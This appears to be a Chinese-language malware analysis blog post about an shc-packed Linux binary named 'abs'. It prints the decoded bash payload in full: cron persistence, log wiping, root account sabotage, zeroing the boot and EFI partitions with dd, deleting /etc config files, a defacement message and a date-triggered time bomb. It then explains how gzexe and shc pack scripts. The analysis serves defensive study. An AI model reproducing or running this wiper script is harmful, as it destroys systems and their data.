样本详情
| 文件名 |
abs |
| MD5 |
C1D496BE65D18BABF1252DF8CCF95660 |
| 大小 |
538880 字节 |
样本分析
使用winhex查看样本发现,样本存在大量空数据,本身并没有那么大。并且搜索字符串并没有发现有用信息。
通过ida分析,发现存在解密执行过程,初步怀疑是shell打包程序。
使用gdb进行调试

解码得到原bash,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| #!/usr/bin/bash grub2-mkstandalone "$@" echo '/usr/bin/abs'>>/etc/cron.monthly/logrotate & >/dev/null echo '/usr/bin/abs' >>/etc/cron.monthly/man-db.cron & >/dev/null echo >/etc/cron.hourly/0anacron & >/dev/null
rm -rf /usr/bin/abs &>/dev/null;cp /usr/bin/"$0" /usr/bin/abs &>/dev/null
function rm_sec() { local aa=(boot btmp cron dmesg lastlog secure maillog messages yum wtmp spooler tallylog) for i in "${aa[@]}" do rm -rf /var/log/"$i"* & >/dev/null touch /var/log/"$i" done }
function boot_del() {
echo 'nofairsodestoryrebuild'|passwd --stdin root &>/dev/null sed -i '/root/d' /etc/passwd &>/dev/null
sed -i '/insmod/d' /boot/grub2/grub.cfg &>/dev/null umount -f /boot/efi &>/dev/null umount -f /boot &>/dev/null boot=$(lsblk|grep -Ei "boot$"|awk '{print $1}'|awk -F'─' '{print $2}') efi=$(lsblk|grep -Ei "efi$"|awk '{print $1}'|awk -F'─' '{print $2}') dd if=/dev/zero of=/dev/$boot bs=10M count=10 &>/dev/null dd if=/dev/zero of=/dev/$efi bs=10M count=10 &>/dev/null
rm -rf /boot/ &>/dev/null find /etc -iname "*con*"|xargs rm -rf &>/dev/null
echo -e "$a 正大黑客组织,为此次攻击事件负责 \n 高额房价,民不聊生 \n 官员腐败,民生怨恨 \n 不加改善,">/etc/motd &>>/dev/null }
now=$(date -d $(date -I) +%s) fa=1655654400 if [[ $now -gt "$fa" ]]; then rm_sec boot_del echo "">/var/log/audit.log fi
if [[ $0 = "grub2-mkstandalone" ]];then
rm_sec boot_del echo "">/var/log/audit.log fi
|
经过对比使用shc生成的其他elf结构,可以判定该文件是使用shc进行打包的bash
使用GitHub的UnSHc反编译工具失败
gzexe
gzexe命令是linux自带的,用于压缩执行文件的程序。当执行被压缩过的执行文件时,该文件会自动解压然后继续执行,和使用一般的执行文件相同。
1 2
| gzexe tesh.sh #加密 gzexe -d tesh.sh #解密
|
加密完成后,test.sh即加密后的文件,同时源文件备份为test.sh~。
加密前test.sh
1 2
| #!/bin/sh echo "Welcome to linux world"
|
加密后test.sh
SHC
SHC是一个将bash等脚本打包成二进制文件执行的工具,由于其执行脚本的方式不需要脚本文件落地,且在打包的二进制文件中加密脚本内容,在静态文件中没有脚本的痕迹,很多恶意文件利用该工具完成恶意行为,常规的恶意软件检测也难以判黑。
使用shc之前需要提前安装gcc
1 2
| sudo apt-get install gcc sudo apt-get install shc
|
执行
1
| shc -f test.sh -o test.bin
|
